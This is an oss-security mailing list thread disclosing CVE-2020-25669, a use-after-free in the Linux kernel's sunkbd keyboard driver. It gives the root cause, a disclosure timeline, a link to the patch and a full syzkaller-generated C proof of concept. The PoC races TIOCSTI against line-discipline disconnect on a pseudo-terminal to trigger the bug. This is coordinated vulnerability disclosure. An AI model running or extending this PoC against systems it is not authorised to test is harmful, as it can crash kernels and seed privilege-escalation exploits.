Hash Suite - Windows password security audit tool. GUI, reports in PDF.

Date: Fri, 20 Nov 2020 22:41:54 +0800
From: - Nop <nopitydays@...il.com>
To: oss-security@...ts.openwall.com
Subject: Re: CVE-2020-25669: Linux Kernel use-after-free in sunkbd_reinit

Hi,

Patch for this issue is available at
https://github.com/torvalds/linux/commit/77e70d351db7de07a46ac49b87a6c3c7a60fca7e

Regards,
Bodong Zhao

On Thu, Nov 5, 2020 at 9:52 AM - Nop <nopitydays@...il.com> wrote:

> Hi,
>
> We found a use-after-free read in sunkbd_reinit located in
> drivers/input/keyboard/sunkbd.c,
> and reproduced it in the latest kernel version (v5.9.4 for now) with
> CONFIG_KEYBOARD_SUNKBD=y and CONFIG_KASAN=y.
>
> The root cause of this BUG is :
>
> The function sunkbd_reinit having been scheduled by sunkbd_interrupt
> before the struct sunkbd being freed.
> Though the dangling pointer is set to NULL in sunkbd_disconnect, there is
> still an alias in sunkbd_reinit thus causing UAF.
>
> Timeline:
> * 2020/10/21 - Vulnerability reported to security@...nel.org.
> * 2020/10/27 - Vulnerability reported to linux-distros@...openwall.org.
> * 2020/10/27 - CVE-2020-25669 assigned.
> * 2020/11/05 - Vulnerability opened.
>
> Regards,
> Bodong Zhao from Tsinghua University
>
> -----------------------------------
> PoC:
>
> // autogenerated by syzkaller (https://github.com/google/syzkaller)
> // nop@THU
> #define _GNU_SOURCE
>
> #include <endian.h>
> #include <errno.h>
> #include <pthread.h>
> #include <stdint.h>
> #include <stdio.h>
> #include <stdlib.h>
> #include <string.h>
> #include <sys/syscall.h>
> #include <sys/types.h>
> #include <time.h>
> #include <unistd.h>
> #include <fcntl.h>
>
> #include <linux/futex.h>
>
> static void sleep_ms(uint64_t ms)
> {
>   usleep(ms * 1000);
> }
>
> static uint64_t current_time_ms(void)
> {
>   struct timespec ts;
>   if (clock_gettime(CLOCK_MONOTONIC, &ts))
>   exit(1);
>   return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
> }
>
> static void thread_start(void* (*fn)(void*), void* arg)
> {
>   pthread_t th;
>   pthread_attr_t attr;
>   pthread_attr_init(&attr);
>   pthread_attr_setstacksize(&attr, 128 << 10);
>   int i;
>   for (i = 0; i < 100; i++) {
>   if (pthread_create(&th, &attr, fn, arg) == 0) {
>   pthread_attr_destroy(&attr);
>   return;
>   }
>   if (errno == EAGAIN) {
>   usleep(50);
>   continue;
>   }
>   break;
>   }
>   exit(1);
> }
>
> typedef struct {
>   int state;
> } event_t;
>
> static void event_init(event_t* ev)
> {
>   ev->state = 0;
> }
>
> static void event_reset(event_t* ev)
> {
>   ev->state = 0;
> }
>
> static void event_set(event_t* ev)
> {
>   if (ev->state)
>   exit(1);
>   __atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
>   syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
> }
>
> static void event_wait(event_t* ev)
> {
>   while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
>   syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
> }
>
> static int event_isset(event_t* ev)
> {
>   return __atomic_load_n(&ev->state, __ATOMIC_ACQUIRE);
> }
>
> static int event_timedwait(event_t* ev, uint64_t timeout)
> {

```
>    uint64_t start = current_time_ms();
>    uint64_t now = start;
>    for (;;) {
>       uint64_t remain = timeout - (now - start);
>       struct timespec ts;
>       ts.tv_sec = remain / 1000;
>       ts.tv_nsec = (remain % 1000) * 1000 * 1000;
>       syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0,
> &ts);
>       if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
>          return 1;
>       now = current_time_ms();
>       if (now - start > timeout)
>          return 0;
>    }
> }
>
> struct thread_t {
>    int created, call;
>    event_t ready, done;
> };
>
> static struct thread_t threads[2];
> static void execute_call(int call);
> static int running;
>
> static void* thr(void* arg)
> {
>    struct thread_t* th = (struct thread_t*)arg;
>    for (;;) {
>       event_wait(&th->ready);
>       event_reset(&th->ready);
>       execute_call(th->call);
>       __atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED);
>       event_set(&th->done);
>    }
>    return 0;
> }
>
> static void loop(void)
> {
>    int i, call, thread;
>    for (call = 0; call < 2; call++) {
>       for (thread = 0; thread < (int)(sizeof(threads) / sizeof(threads[0]));
>             thread++) {
>          struct thread_t* th = &threads[thread];
>          if (!th->created) {
>             th->created = 1;
>             event_init(&th->ready);
>             event_init(&th->done);
>             event_set(&th->done);
>             thread_start(thr, th);
>          }
>          if (!event_isset(&th->done))
>             continue;
>          event_reset(&th->done);
>          th->call = call;
>          __atomic_fetch_add(&running, 1, __ATOMIC_RELAXED);
>          event_set(&th->ready);
>          event_timedwait(&th->done, 45);
>          break;
>       }
>    }
>    for (i = 0; i < 100 && __atomic_load_n(&running, __ATOMIC_RELAXED); i++)
>       sleep_ms(1);
> }
>
> uint64_t fd;
> char buf[100];
>
> void execute_call(int call)
> {
>    int disc = 0x2;
>    char ch = 0xff;
>
>    switch (call) {
>    case 0:
>       // call sunkbd_disconnect
>       read(fd, buf, 0);
>       break;
>    case 1:
>       // call sunkbd_interrupt
>       ioctl(fd, 0x5412, &ch); // TIOCSTI
>       break;
>    }
> }
> int main(void)
> {
>    int disc = 0x2;
>    fd = open("/dev/ptmx", O_RDWR, 0);
>    ioctl(fd, 0x5423, &disc); // TIOCSETD
>    loop();
>    return 0;
> }
>
```